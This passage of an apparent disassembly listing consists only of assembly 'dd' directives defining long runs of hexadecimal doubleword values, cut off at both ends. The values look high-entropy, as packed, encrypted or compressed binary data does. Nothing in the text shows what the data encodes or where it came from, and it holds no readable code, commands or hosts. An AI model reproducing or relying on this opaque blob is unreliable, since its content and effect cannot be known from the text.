20D0054Fh, 0E93A094Fh, 55F18290h, 0CE967728h dd 78970500h, 0B2D54EEh, 1A576B9Dh, 720BF5Ch, 1208B082h dd 0AD5FBFDCh, 4DD55EF1h, 0E9E11EACh, 72F5C6AAh, 93FB3D13h dd 15841B18h, 70B546D6h, 57F93B11h, 7A073127h, 810231C1h dd 771520CAh, 23F87176h, 45AE5E16h, 58F00813h, 0EF681342h dd 4BCB343h, 4BA50205h, 386116FCh, 40D31CB3h, 25F4CAFEh dd 0E941D40Bh, 973B78ADh, 7B0EDBF2h, 0DF4ECA74h, 658F5C80h dd 0EECB89BDh, 31A14A5Fh, 34D4D7E6h, 1F4FC314h, 510092A8h dd 0B753B0B1h, 0D70EF620h, 5C80CFFEh, 0EF530EF7h, 75F982F8h dd 0DC9FB94Ch, 0E95786CFh, 5F1793A0h, 7FF35B68h, 45F9207Eh dd 63F33CFAh, 0A94A7DBCh, 9F718E4h, 725047BEh, 5BD4ED00h dd 215CAB7Fh, 41E66528h, 721C287h, 0A3402C9Ah, 9497993h dd 10E94270h, 0F1802DAFh, 0B76D3DFFh, 0F34BD2F6h, 47E7CDBBh dd 2F2B5D7Ch, 0CC53ECC1h, 6923BA2Eh, 0F8681D49h, 0E9094321h dd 18016E65h, 10B8EABFh, 0AC2A510Fh, 4FADACCAh, 0B7519128h dd 0DB25013Eh, 3817EBC0h, 0C33A7F2Dh, 0BC5F35D9h, 0FE65B1ACh dd 7F2AFD63h, 0EFBE0496h, 0ED69744Fh, 0F6E81AFh, 0B12E5DF1h dd 1E3560AAh, 0F717A99Fh, 712F4DB0h, 83275C0Fh, 814DC0C5h dd 2D49A1CDh, 3DD3AA4h, 0E858CC2Ah, 0A9B4B0E9h, 0C1E4EFD1h dd 89F5250Bh, 0E9DA0060h, 94472F2Fh, 389B327Ah, 59572E7Dh dd 9FC88EF7h, 0A9CAFE13h, 8A22517Eh, 0AE365DC1h, 0F9E62F7Ch dd 0C0A632D5h, 0C0818607h, 0EAEC99Dh, 4FF6739Dh, 0AC469260h dd 5BBD6866h, 51BDD248h, 3E414BE1h, 0A3163FA6h, 2162AE50h dd 31BCA49Ah, 0D2F467EFh, 1A775CCAh, 2D5440ECh, 3159047Dh dd 0D476E978h, 3E0B81D7h, 77518861h, 0AE5C13F0h, 5867A500h dd 8BC32923h, 0B145115Ah, 18B3B93Ch, 4CC1ED10h, 4B35F1Dh dd 54D76882h, 2590C57Fh, 7675CF48h, 18E75A81h, 3BB76A55h dd 0FA86157Eh, 2CBF6F66h, 4C52ABA0h, 313E5860h, 8032A7E8h dd 274FBB7Eh, 0BC734AB8h, 0A3354F0Eh, 63A3FF04h, 2741EB35h dd 0B303477h, 0D5F7303h, 0A0903B05h, 90495E3h, 55D7875h dd 0AEBC154Dh, 0EE2AD7DFh, 1792328Ch, 0FE111870h, 0DF50C80Ah dd 553BFC10h, 0AD3FC324h, 0E5DDBC42h, 2DE880BDh, 6BF76AA5h dd 0C6B1E913h, 0F66BB3E5h, 0DCEA2DA3h, 0AEE98545h, 17B1A298h dd 2B213166h, 41A063ECh, 358B9FD6h, 277F665Fh, 0CD689AB9h dd 0BE818DD7h, 0A2B54854h, 846A0541h, 0D2C57F81h, 2FE74D3Eh dd 78159C04h, 2DC055F8h, 1942549Fh, 838F78BDh, 95BEAC07h dd 5E1C385Dh, 39FE555Fh, 12BB639Ch, 0E6A3546Fh, 5B1AF10h dd 8D7AF7B9h, 0C261C2FAh, 7FEDC548h, 0F8B5818h, 1D2FE2B6h dd 0A42959F0h, 271E17CDh, 0B3792548h, 60C300F1h, 0F92D45E8h dd 0D0E1906Eh, 5F2D07CBh, 0BB5339Eh, 83E17D41h, 6AE33A6Fh dd 0A8374A7Eh, 717BC190h, 2AF41F50h, 8CFCB7CDh, 7DD88273h dd 0E914CDD1h, 6CA65EFDh dd 6D63691Ch, 0C90DE3DEh, 0C93EA2Eh, 7CA809A4h, 0FAD123FFh dd 0FA684A89h, 7B4E388Ch, 0E73FF964h, 61EF4A5Bh, 2835E9CDh dd 5EF4F3Ah, 0AE62BB87h, 0F94F25B2h, 4FEC5F1Bh, 0C04F68ACh dd 0B58596F4h, 6577EF62h, 0F7273FD7h, 5957E142h, 6E7BE9ADh dd 1D6CC788h, 0A9518B58h, 0A7BD88F3h, 8867E0BEh, 4C29B8EFh dd 0C25BE001h, 15818ABDh, 20D9F602h, 0E7C9C632h, 0BAEA02CBh dd 0B098949Ah, 81B1805Bh, 6F5D8177h, 0A4E59BE1h, 0B0C6016Fh dd 0B9C32802h, 5ACFCCF4h, 98FE0C85h, 1F4F4114h, 185C8530h dd 0C1470B91h, 4B0402E1h, 1464E435h, 4249AC05h, 10E2F731h dd 8705AF96h, 0CDF62ACEh, 58138A10h, 5C812004h, 0A448205Ah dd 6863389Ah, 14DFFDC2h, 9DA8F822h, 68E21BF4h, 6B09FF7Bh dd 8B59B9DCh, 0F59F5EAh, 3EB80E1h, 0C051EE60h, 0E384EFDBh dd 0F8ED05DBh, 0F40466B3h, 1E12E90Bh, 0FE53AC04h, 0E06F2C6Dh dd 614FE9FEh, 805A5600h, 27288DF7h, 4BFE5BF8h, 77506609h dd 2C58AAE0h, 52DE9F6h, 0B1ECEEB3h, 0C20909A1h, 97F148Bh dd 7D6ABA9Dh, 658B90E5h, 0BD5BD329h, 0DB09CCA7h, 0E8C38356h dd 0CBB93B34h, 24707D96h, 0B7EDBBB1h, 5CC043Eh, 0B652660Fh dd 0BBF02884h, 0B08DFF06h, 4990B030h, 0BF5E4DC7h, 834E030h dd 397C5CF8h, 0ABA75812h, 1D257EE3h, 38B75620h, 0D8BD1231h dd 0B85002C7h, 330B3E16h, 256B1D61h, 0EE0E4116h, 0C1CC7B88h dd 0B5A465E7h, 41F7C1E8h, 0CFC4722Bh, 5390B76Ch, 5AEE7BDFh dd 0E5BFEC34h, 1FF8BA08h, 8A60B3B3h, 4BE0185Ah, 0F1F006Fh dd 0C7C281F9h, 4417865Fh, 38FAF201h, 3A006B95h, 0ACBB2EF8h dd 5F6A7E65h, 19AE931h, 3D281226h, 4EA0DA29h, 0E95B3D08h dd 0BB40DD59h, 0A0D9722Ch, 0DD922EBCh, 7196BB61h, 0CE24BF32h dd 0D348A6BEh, 0ABB549E8h, 5A8C27A2h, 0FD5C5E3Fh, 0ABBA84C3h dd 2B33F117h, 25CB6801h, 59D9277Fh, 3199E124h, 0F29AE5B2h dd 32312BC8h, 0AC00158Ch, 4A98D830h, 9D5F6E40h, 3DC7B7DCh dd 57B0191Bh, 773877E5h, 0C7F15E25h, 5BA7E958h, 3FE08941h dd 527289Fh, 8EB16B00h, 127AC180h, 9E66EF24h, 0C513E7A6h dd 0B3531A80h, 59FCBD63h, 0EF93779Dh, 0D6CEF809h, 0EF13C5BEh dd 0B2FECD84h, 8C03C436h, 993EF216h, 8D3AE06Ch, 0CD9D6532h dd 1BF22A18h, 6F1F7C48h, 0CB6E5E75h, 0A16462A2h, 0BB875926h dd 498A360Ah, 0A685080h, 907FBB48h, 0B3F35AF0h, 4F0607C2h dd 0C8802201h, 28DBA59h, 0E96B862Ch, 0F5F6760Dh, 4979F173h dd 0CC09306Ah, 55E5323h, 2DE7A14h, 8DA2892h, 7C19E248h dd 6C5525DCh, 8E022691h, 35588E0h, 7EE5066Fh, 0EBE04F6Bh dd 0F56FF21Fh, 70957196h, 3EAC009Bh, 0E781614Ch, 92482979h dd 4BF24CDDh, 0B8A4E4ECh, 7274A4D2h, 9C12D7F6h, 0D9BDB46Bh dd 6DC0B00h, 7A15CD81h, 0F746121Bh, 0CE2D01DDh, 3A62CA0Ah dd 3C2991C1h, 758E07Ah, 0A80C09B9h, 3B50C89h, 0A5E58052h dd 0A35C5FEh, 0A8B806B2h, 5E38E90Ch, 7100B828h, 0BA53F451h dd 0FC92EB6Eh, 80C24B01h, 31443923h, 23185D5Bh, 4CE5E907h dd 0D1D7F42Fh, 5909680h, 8FE5BEBh, 0C2F02FDAh, 0B7EBD124h dd 0CEFE6916h, 582605E8h, 2FA501Ch, 352C42EDh, 0F33B41DDh dd 7EE452EAh, 7E418280h, 7B55CC36h, 25CCBE00h, 1AE98722h dd 0BA62C08Fh, 49FC535Dh, 2AE5D0B7h, 16CE4E13h, 0F129B8C3h dd 6461D865h, 0F53DE227h, 72F55110h, 5DB82086h, 0A6EEBC98h dd 0C4898E48h, 3B89E830h, 6C7BD17Fh, 0E0F14D3Ch, 7BC03890h dd 0FB2F06EEh, 0D629280Dh, 50C60FB0h, 2D67E9Ch, 1BA566E1h dd 0E90502D6h, 9DE48B8Eh, 0B5464052h, 0F5B447Dh, 0CA02E012h dd 574BFE68h, 864E97ECh, 65973461h, 0B9B14703h, 73AD261Bh dd 20483B2Ch, 770B3E1Ah, 307650C2h, 0D6D28BFAh, 5BDA89FFh dd 0EDBF605Dh, 0DD43031Dh, 734AE971h, 0BC560487h, 0B122E46Dh dd 30B92007h, 809F511Dh, 1F488212h, 0F820E349h, 867E0080h dd 2CA42D22h, 0F71E105Ch, 0AA0040D0h, 57C8D49h, 21571616h dd 34A7F04Ch, 3DE29B4Fh, 0FBBC3078h, 26CE6866h, 740982ACh dd 6831614Bh, 0F87B485Dh, 0C26CF008h, 63DA52B7h, 4CFB0881h dd 0BD2B3092h, 0D320F306h, 281C0148h, 1F235D08h, 0E5F40576h dd 8229EC57h, 2108080Ch, 2F263834h, 203F8510h, 981E924Fh dd 0CC1D2062h, 81204676h, 3A71BF97h, 686CF76Bh, 4D616842h dd 3C4DDBE9h, 1261D56Eh, 0F9F81B3Dh, 96C62897h, 7C5A687Eh dd 73927C30h, 96F1264h, 80E5B2E8h, 8B4BB53h, 202898E2h dd 68158FAAh, 4D23653Ah, 16B958DEh, 0DC32A6FBh, 20027A30h dd 544A5BEAh, 0AB5295EBh, 91506944h, 9402E4CDh, 0D90B75D8h dd 9D04EF5h, 2D03E0C1h, 0F01C33D1h, 0C2A2D68h, 0C1583F7Ch dd 0A7614F2Dh, 0BE005F51h, 9E01073Ah, 7C1DB956h, 0ACFC2EAAh dd 2EDCBFA3h, 3FCA615Ah, 0B2398C3Ah, 0AE2CE031h, 0FFC2A8ABh dd 0FCE756CCh, 2148B368h, 9A09DEF9h, 13AB6617h, 0C21D5E2Bh dd 10359CAh, 185417F8h, 829D619Fh, 0B100059Eh, 70F4622Bh dd 40299040h, 8A0B686Ah, 8645CD67h, 2514BA5Ch, 9855FD08h dd 99DDF672h, 86B460E9h, 0F894F9E9h, 0B714727h, 0C0A495E9h dd 0B22BAE5Dh, 55C0D65h, 0BD0F681Fh, 13AC3CECh, 99F7F447h dd 2AEB277Eh, 33FF651h, 0A723B2CFh, 0BE0C1D2Dh, 325530Dh dd 0AFEFFBC2h, 0F2ED82E5h, 43A88659h, 0E09914Eh, 708584B0h dd 77EC8D85h, 8C054800h, 1D31EC4h, 256AC74Ch, 0BB66F565h dd 2D4EE7F4h, 3CC80AA2h, 0BDEBA08h, 0F90691BFh, 0FE06920Fh dd 47250804h, 30360F0Eh, 0D7EF48EAh, 664EEFE0h, 3105741Bh dd 40B4E9FAh, 45A8F752h, 1510B105h, 370CC105h, 826A2C83h dd 750B7F68h, 35540C18h, 0A3467C2Dh, 57FC55Bh, 4A33BB30h dd 53BC59h, 21FC4270h, 9002E8C1h, 0DA709E3h, 0EADC164Bh dd 1DFFC327h, 9634D77Ch, 0F150BF53h, 431C6108h, 44CACA1Eh dd 0DD882943h, 685A43DBh, 724EAFECh, 0F8DBF835h, 62504E5Fh dd 0BC7158C1h, 7D76841h, 0BEC68D7Ch, 97046661h, 5469262Dh dd 1FB3C081h, 20E3D001h, 0F3E6CE23h, 749F30E6h, 0C8DA535Ah dd 38C41C75h, 0BE4B0564h, 0A6179FCBh, 0EF7B299Ch, 0A77DADBAh dd 822BFD7Dh, 0E5756F53h, 88E7A590h, 4BBB5388h, 569757F8h dd 9DA450FBh, 1C37ECB7h, 0AFD4623Eh, 0E984D656h, 41E2065Fh dd 0C2029505h, 8191B0ECh, 12A2EB03h, 8AE93BE8h, 0BBCDF5F6h dd 296D60B0h, 311E2ED3h, 84E9090Dh, 5A5E27A1h, 2A63E149h dd 0E1C09452h, 4C8B26C3h, 0F830F40Dh, 1AA4F55Fh, 2A758A2Eh dd 0F972F702h, 0F8C07DD9h, 0DCB79E4Fh, 0AEE3C9EDh, 0C278F7F1h dd 0E9795655h, 98BE304h, 2E5BEC5Eh, 4964E074h, 0DD0F465Dh dd 0D47400CCh, 0D143E910h, 7B718A9Ah, 22803DC5h, 0AF1375FBh dd 41703F98h, 6416008h, 5FAA0097h, 71C2E381h, 43293E37h dd 0E9403BA5h, 1A03BEBDh, 0EDC16123h, 6063302h, 69252FD6h dd 167952EBh, 0FFD8315Eh, 27682B3Ch, 89D342C0h, 2EFE5512h dd 0E94C611Fh, 0B352BC6Ah, 4C7077C3h, 0C4B8FF6h, 39BF7238h dd 3A81302Bh, 1A197ABEh, 6DF06B26h, 0A9D65AF7h, 48CE02AFh dd 5F444F2Eh, 3D2A2400h, 0B025E9D0h, 7DC4D7D5h, 13CB6812h dd 0C1818064h, 976237ACh, 0F7D02E51h, 1681EED2h, 15485F2h dd 9DE90296h, 5F2D2F94h, 0AC10326Dh, 0BA0B7352h, 0C0B44166h dd 2431CD2Fh, 3E32C2Bh dd 1E1339BEh, 7D690C04h, 85F0E226h, 3C872D5Eh, 0F1E9D1B1h dd 53C39DE3h, 5C8308D8h, 0A6347268h, 0A8FA95C5h, 0BEA3E2Eh dd 6D680240h, 2F1A9210h, 0C4457101h, 80CDE82Fh, 0F6E718CEh dd 0C0F00AD6h, 0F902EE3Dh, 0F588A40Fh, 0E3EF835Ah, 52669828h dd 0F43FEDB2h, 0E54BE9DAh, 54B36001h, 5BECDE88h, 1EF76130h dd 9048E780h, 0E9168332h, 45F2B699h, 10DC22C5h, 844E68F3h dd 0A0B18477h, 550BB853h, 805F4C27h, 0C40506ACh, 2CF6042Ah dd 0FE58C329h, 2218729Ah, 56FDEF8Eh, 75C56881h, 93023326h dd 29923DE1h, 492471F7h, 59ABD2E9h, 0EEF940BAh, 314F987Fh dd 0BBBB53FAh, 66BDDF60h, 15AE3F6Ch, 0E9974461h, 0C123BC1h dd 0B31B2CAEh, 0A7EA11BAh, 0B86DADD8h, 8E401F0Ch, 93984946h dd 9FFDDC10h, 7C842025h, 0ACD3897Dh, 883995E4h, 0F9094FC5h dd 0F2AD620Ah, 0C076F2BBh, 4B2D0563h, 0B8B0650Eh, 840744EDh dd 4EFCACB2h, 0B3D1C0A6h, 31D4F2Eh, 1848714Bh, 90AE7B0h dd 876A7C24h, 2D50C002h, 89754896h, 0B87398FEh, 7A76BCCBh dd 104C6657h, 1C57B685h, 0CE2D0168h, 2AFEBDFEh, 1639FB4Bh dd 593EC20Ch, 49A1F9FDh, 38B6DA55h, 0EA4B2C75h, 0E913A68Ah dd 0B8CD52D2h, 0ACDA3C8Ah, 8F8CBEF0h, 0E66F2E47h, 8D3718A7h dd 68589328h, 433DC932h, 3456548Ch, 423180FCh, 0F602E281h dd 0E90EF003h, 0B418E8DCh, 0BA7CBFAEh, 3005BC14h, 0E99A06C5h dd 0ADF49B9h, 86689D81h, 0A6B97F8Eh, 5A101348h, 32FA5F5Bh dd 0BD680711h, 9009BF57h, 0DD04FC01h, 1CD52A12h, 0D1B09D06h dd 598162BEh, 53020B7Ch, 0CBFEC6B3h, 0EF856FE2h, 93769DD8h dd 5EB2C12h, 0AA89CA8Dh, 0AB5AF7E3h, 652BFA61h, 66506602h dd 55EDC398h, 0F90DAFD6h, 8C2C15BDh, 0CB20FF76h, 38A1FD12h dd 3BA069DEh, 0E2B594B3h, 2E1AE91Ah, 1996DD1Bh, 54A8C495h dd 9D01DD92h, 4C9AAF4h, 0CE8D977h, 7914B05Bh, 5D950B82h dd 0B356A029h, 5AC58416h, 2ED7F1AEh, 0BC4AFC9Eh, 0A17B1601h dd 2B2239EBh, 2558AF0h, 0EBA6851h, 0EB40407Bh, 64BF7A3Dh dd 905EB7A6h, 0B46759C6h, 74158DCh, 319A679Fh, 28D0F723h dd 6855A08Ah, 8B565B32h, 0F945132Dh, 6097CDEFh, 0EA985110h dd 87A3704Ah, 4DB05082h, 0EE80EF40h, 40E9900Dh, 24312CE6h dd 0EDE4F4C9h, 0E059D783h, 54401A1Bh, 1EE75F28h, 194F2CEEh dd 4887D67Ah, 73256842h, 294A981Bh, 5C5FAA30h, 325AC912h dd 648B2C0Bh, 3BB2DF01h, 0E85B0C05h, 0D00BB22Dh, 1E57950Dh dd 166D0F13h, 0E9C663C6h, 0CA970D69h, 57D45D9Ch, 5F8EE950h dd 6327BF93h, 201B8006h, 36B2D279h, 0F6F4F05h, 2FAD329h dd 7612288Ah, 9E02A658h, 21491D58h, 4EB0D7DFh, 5FD28E61h dd 0CD8C5E0h, 50088126h, 3E1F3B44h, 0F8D643E8h, 37B892Dh dd 8027E9FEh, 0BDF24450h, 0CB3B8E0Fh, 0D5D88ED4h, 5ECA497Eh dd 2BA9DCB8h, 0F9E523F9h, 3987848Fh, 5311491Dh, 933E8671h dd 0DAEF5ABAh, 47BE5BD9h, 9474EB4h, 7D1BEC7Dh, 8BCB695Eh dd 0EBEFC27Ah, 8FC544Fh, 39A9BEA4h, 952CA84h, 25CB2F5Ch dd 0C5E482EFh, 0A76414DDh, 0E800B24Ah, 0E96CA92Eh, 22C0C746h dd 0D8F60104h, 88DC2A34h, 6C6B20B2h, 0AAA05B5Ah, 0CD507653h dd 3B596E1Ah, 0A09A8E44h, 0E1E0EA8Dh, 72DCBE8Eh, 910FD1D7h dd 6680271h, 802A0207h, 5C1BE1CCh, 0C9DAA0E0h, 15728D2h dd 9412208Dh, 0BD17D49Fh, 0A4EF0626h, 8DD116C8h, 8051F9ACh dd 71F38111h, 0B84C9C1Eh, 0A5C15ACBh, 3F0438C4h, 1B571FEFh dd 0DEC27096h, 59795F5Ch, 16E95241h, 0F03EBC35h, 9E40DA7Dh dd 40C103BDh, 0EB093299h, 0CBF48C19h, 0BA935E1Ah, 0AA0F560Dh dd 0E24B3C9Ah, 8AE982B3h, 4B377602h, 5D8A25FDh, 308F29BAh dd 84B75BA4h, 0F2FB5214h, 28BBC63Bh, 0FB010111h, 0DBE90B88h dd 7355C23Ch, 0C7033B93h, 469BD1D6h, 51AEEDE0h, 294C0809h dd 81588FDh, 0F4055F04h, 360F183h, 3FBE56A4h, 0F798ED5Dh dd 8D2F68DEh, 648C9811h, 446C0935h, 160CDE9h, 0F14B6BAh dd 25C97B63h, 2C205D02h, 3996364Eh, 0C8F696A1h, 314BCED2h dd 9DE33AA0h, 95D5A58Bh, 0D4E989BCh, 13E58B55h, 517AC910h dd 5F28A32Fh, 0E9E108B8h, 0F629B9C4h, 47F5DC37h, 36B039C5h dd 4C0F2FB9h, 7C26565Eh, 0A4EA310Dh, 1BC608A6h, 66049568h dd 3C084177h, 450DC0FFh, 207EE875h, 8798F53Ch, 57E960A7h dd 42C77169h, 0C0E6BD3Ch, 28A4B013h, 615031F4h, 0EAE90B54h dd 7D896A47h, 4678B4E1h, 1DA0E74Bh, 3802ADBAh, 84D02955h dd 0DCAD1C90h, 1CAB452Eh, 49DA1F6Ah, 85748B19h, 7FADEF87h dd 685760F0h, 31675F63h, 0C2490FCCh, 9CFEEFFFh, 130465E9h dd 0E7B1BFBBh, 0B96503E8h, 564B0067h, 0DE29482Bh, 0A4924CFAh dd 20623CB7h, 839D59E5h, 2DA32BE4h, 1A5F39Bh, 0E6CDABC9h dd 0DF7255E0h, 47338373h, 66D91035h, 99253FDCh, 50B8A782h dd 8FBD05FCh, 0EB487E34h, 0B5F816E1h, 0E4D82CC6h, 46023C86h dd 0D2F75C1Ah, 3B625E40h, 0E96DCA09h, 7695042h, 0D039C980h dd 1BC151E1h, 51182008h, 8581B53Dh, 5734E9E5h, 0B861DDCDh dd 0CBDE56E6h, 1014C7D5h, 56341001h, 9A535C2Fh, 21C5FF4Bh dd 874FAD8Ah, 92ABC687h, 13EE52F4h, 12C6A6CFh, 0CBBFCC70h dd 18840ACh, 64EF5713h, 0EF017817h, 307C5AB9h, 8E225DCAh dd 3500DD6Ch, 5EE6378h, 57420525h, 1A0AC19h, 0A44A5D2Dh dd 0BA2B85E9h, 0CDA93434h, 0E75F6572h, 7D9EBA52h, 929FB94Eh dd 25E9BB28h, 4F529FDDh, 17F13848h, 0D9AE876Fh, 0A3292B3Dh dd 5E8A357Ch, 2096A793h, 0EDA09095h, 0B627004Ch, 56FD0150h dd 72BE6DE9h, 24359300h, 0B0544236h, 161261C6h, 2088ADB0h dd 0ADB83041h, 66D82813h, 5F993B09h, 0F95D4389h, 383A733h dd 95761F3Eh, 7D701530h, 278E16F1h, 59610E89h, 1B3EE3E8h dd 0FA7D8CEAh, 133A0C70h, 13555683h, 52D2BAE1h, 27095FECh dd 0E9619F53h, 16972336h, 2722BFB8h, 758DEACCh, 0D42D1E47h dd 0EAE9C518h, 0B6D0DEC8h, 454E2D6Ch, 646ACD2Fh, 0A8D04E6Ah dd 0DE494E4Fh, 9F4B7030h, 0E4E9F53Bh, 81D97C6Fh, 205B84BEh dd 3EF681E8h, 215C4BDCh, 4E2F028h, 0CF052AE9h, 9F02AA11h dd 5F413273h, 90AE5D83h, 9C99FB85h, 22BE320h, 0E90AF15Bh dd 35F49A92h, 725BD567h, 29363880h, 6881326h, 0ECED6A1Dh dd 0D1416B27h, 3859ADB2h, 0E9FD30EBh, 58A06186h, 0C1A1ED80h dd 0D6C5D5E5h, 9ED37AD5h, 0BAD90BC9h, 55964475h, 91CCE64Ah dd 0F7C016Dh, 4148BC2Dh, 7FCAFF72h, 585051E6h, 8B951863h dd 0C0035533h, 0D505B9AAh, 3F0333EDh, 0EB249BC1h, 0F9CE007h dd 0A3F44B8Eh, 0AD75525Eh, 0D0BEF6FBh, 69972FD6h, 45210235h dd 16DE63FCh, 0AFF7090Fh, 16EF3560h, 82052635h, 9FE1202h dd 5042F00Bh, 42AE8185h, 3EF168C7h, 0EA90CC46h, 0AE87AD2Dh dd 3334A967h, 134B88DBh, 98F19F38h, 0B1CF1EBBh, 684D0481h dd 982E31B7h, 575C8384h, 9E91261h, 1C33FB44h, 7734FEh dd 515257A6h, 31283A68h, 6A2D9CEBh, 851D94Bh, 51250F4h dd 0E9C595FBh, 69206264h, 57680136h, 3CBD6363h, 488A9552h dd 72E9094Ah, 0B61F72C2h, 2B920354h, 0C3A309Eh, 63B0120Eh dd 391CE901h, 3B202A2Eh, 166B02BEh, 6FC1E92Dh, 3AF1D2C9h dd 5E53A381h, 4D893F20h, 896CB75h, 5503F911h, 0A25ED668h dd 77965575h, 4DF2E509h dd 7E0F02C7h, 9FD1CE99h, 41756C50h, 40EB2FC0h, 0B81C9279h dd 500C404Fh, 8031B407h, 54B549CCh, 0F30020E9h, 7FF756FBh dd 70399E2Dh, 0F10375BEh, 550F258h, 3676E9B3h, 741336Ch dd 1B11A8F2h, 0BFA1E904h, 0E941EAF2h, 0EA6702FBh, 68A02869h dd 35B923C0h, 0C4FBE30h, 2FEE6BBAh, 0E5D829B7h, 7459CF2Fh dd 9561DA70h, 0C3306E49h, 965D5255h, 985F2759h, 974FEBEh dd 0D9F76523h, 5B925183h, 55522BAh, 5DBA2DCCh, 42742CEh dd 0E2D72835h, 8B070978h, 5FC87D06h, 0C80C310Eh, 8B419D68h dd 95279ADFh, 480546A0h, 117EA440h, 0C89FEF74h, 17418724h dd 456148Eh, 8AD6CFB1h, 861862EFh, 0C5F80BAEh, 0F155AD2Fh dd 91C8A7B7h, 0F3A45BB1h, 16426104h, 0F8804338h, 11CC4A09h dd 82F30112h, 4C54A6E9h, 806812ADh, 827A3743h, 4CF96A49h dd 4585BE81h, 0DC6F6260h, 741DE94Ch, 23173D12h, 9D7516ABh dd 4E604BEFh, 5DA35E16h, 0FA014248h, 15FCB59h, 21931F7h dd 76825E08h, 0B90747D1h, 113829B0h, 0BDF9F641h, 787C1F42h dd 77F3E7E2h, 12C88510h, 0FD404181h, 0F976367Fh, 0F340342Ch dd 0F9689F5Ah, 23BF8ED9h, 0D26D6387h, 8A1F4074h, 0EF4209A9h dd 0E9FFCF31h, 1870D196h, 0C9636410h, 0E7E0BFC2h, 945CA059h dd 0BECC833Ch, 0BF0029A3h, 1AA0B7B6h, 5D4F0AE9h, 0A69A61FAh dd 0C2BD6BD8h, 673BF1C0h, 529D2801h, 3AC30C41h, 8BDA26BFh dd 0A8A1E318h, 3D57AF18h, 0B0A67DB1h, 0E0C087DCh, 0F7AB8206h dd 0C1D8F1DDh, 6E0ABF68h, 0F2698D8Dh, 88F3AA92h, 6800F4D0h dd 327237CAh, 805B47E9h, 218E18CDh, 0EF122DB7h, 5D8BC3A6h dd 7A6457DEh, 0BAE3C106h, 615F3920h, 0CEDEE49h, 62A02BF6h dd 5D7F0091h, 4ABB53AFh, 7609B478h, 566131E9h, 9488731h dd 0CB05D10Fh, 0C4B8310Ah, 7DCF7382h, 22F1CC5h, 0D7FD88B0h dd 0E388CEE5h, 0EF2D1386h, 54598A49h, 0D2E18954h, 68E7CDD6h dd 7F0B30B7h, 295EF494h, 3E840EE9h, 51CDEA7Fh, 0AE045EE9h dd 0B0F1B807h, 0E6578FA2h, 3FB6092Ch, 0FB50E6D0h, 54005D97h dd 5AF70867h, 7BFCC058h, 1768CF0Ah, 80A6422Eh, 46E8CD0Bh dd 5DC92E3Ah, 2F4D6AC9h, 57A5A0F6h, 0C0BF996Ch, 0B7844C7Ch dd 0F5D23F76h, 0B192DCE5h, 0F0011F81h, 172B1B31h, 947CA3C7h dd 8EB675C3h, 990F6D9Ch, 2E496B44h, 48FAA5DCh, 5BDDD544h dd 285B90A8h, 0C7298083h, 0E984E705h, 0C2E47E71h, 0A3E02EAh dd 0F20142B4h, 8016C42h, 6EFAD8E9h, 969FF5ECh, 0F7273148h dd 0C03A21DFh, 2E58ECE5h, 9115C43h, 85F8205Ah, 17A39331h dd 5004E805h, 8C5BC34Dh, 0E965D198h, 0F432B625h, 0F480723Bh dd 14266CCCh, 72754082h, 0A590973Eh, 2117FA44h, 27B42E68h dd 9342954Dh, 27A21455h, 0A4F109B1h, 0A310F569h, 4758F768h dd 82F0D202h, 51A45DABh, 5ADEC4h, 2E367205h, 0D2FFA018h dd 7610F81Ah, 0DC681701h, 2A9A8C5Eh, 76956701h, 3E9C141h dd 0E1D4C061h, 0D2E6C108h, 7B3D0901h, 0DF582FB0h, 60559245h dd 541BE09Ch, 58AC6D4Ah, 0B2BB6250h, 70449538h, 2CA2555Eh dd 6A8FB192h, 2158E8A3h, 413E9B81h, 0E9F2E076h, 8DC2B55Eh dd 0C591FD5Fh, 21A7D042h, 0B6EAC130h, 0EB30E9DAh, 0DBB84E81h dd 6488ED87h, 0C67F291Fh, 0F5591826h, 6C030581h, 0D5D40984h dd 78CE3467h, 4F78802Ah, 0A17A276h, 0D0CDDF7h, 195A3495h dd 648EB80h, 0FAE30363h, 38CAD8CCh, 0CD7D3FB5h, 0E31EC360h dd 0F3790620h, 4A39EA2Fh, 0D39FB82Bh, 68B80EBCh, 0D33A7D01h dd 9433E92Bh, 2D18E72Bh, 0A894FC05h, 22570182h, 0EEC14C3Fh dd 0D0017B03h, 4E071E39h, 80851820h, 0C2788966h, 0C9846F5Bh dd 0A21DA2AFh, 0E7DC5555h, 0AA544A74h, 0B04B673Dh, 8B8AFE4Bh dd 0FB2FCAC9h, 407DEEC0h, 6B83485h, 0D027D227h, 4E06B098h dd 7B40E157h, 1EFCF361h, 9D8EB12h, 7435758h, 5F067FEh dd 15AB52C4h, 1CC599Dh, 69FEBA1Eh, 0DD5E582Fh, 35207F94h dd 0B6812C8h, 0C1C5A831h, 37E753A5h, 9A509D60h, 5BD927B8h dd 852312DBh, 0AC6E5C51h, 48E9E092h, 0BC1EB144h, 0BECD9A38h dd 2824F502h, 0BD459E8h, 651089C8h, 2F6C5B29h, 1577A27Fh dd 2B60894h, 0B9B035Dh, 0C104CFF6h, 16FC08E2h, 9546F074h dd 574850D0h, 1EDC05D9h, 84BB1613h, 73B8A81Ah, 4016F15Ch dd 68165E0Eh, 10AC6AA1h, 8B0082A5h, 38244F47h, 723B0A0Bh dd 80A8D65Ah, 42599421h, 0E07EFD6Eh, 684B1E54h, 817B4DB1h dd 0F2D6380h, 0FE9D0952h, 0A10797F0h, 3E806635h, 8A7B13EBh dd 1E8E41B4h, 0D71B1328h, 13DE0AAh, 0F6A77291h, 0AA0FB420h dd 0DD550421h, 0D7308005h, 6AE73142h, 0FEE5040Bh, 367869FEh dd 837A9C41h, 838D7BFCh, 0EBEFD7FAh, 5686372Ch, 81F4B67Eh dd 0A82FFD68h, 60E82703h, 0BA52E101h, 0F120845h, 6A727B07h dd 812CD1E6h, 0FA55A08h, 5D027AD6h, 5F615968h, 0B70CB818h dd 56ED63C9h, 645EB05Ch, 3B5B4C01h, 204232A0h, 10097536h dd 8B900D15h, 0EC580E7Dh, 27F83C5Bh, 0A25EC863h, 81A1C34h dd 5A14051Ch, 6FB037E8h, 0C5F2A48h, 197847F0h, 38A72699h dd 0D76C011h, 75C6ABDh, 7E195808h, 7AE9D80Fh, 0FAA9F24Eh dd 2385CBCFh, 12BCD77h, 3A35D1DEh, 0E2845457h, 472900FFh dd 29328C86h, 0C6B8D665h, 0CC996BAh, 286C723Dh, 3C4EF148h dd 0FADF85F8h, 0B1FBD213h, 3BC5CD5Dh, 6C0A6E35h, 6ACB9BAh dd 8838AF24h, 3F174A2Ah, 0F84B0EBBh, 6382897Ch, 7858E29Ch dd 560CDE55h, 811EA8DEh, 2279CABFh, 0BF7B170h, 28644B6Bh dd 8235A80h, 42B559E3h, 0AF50D75Ch, 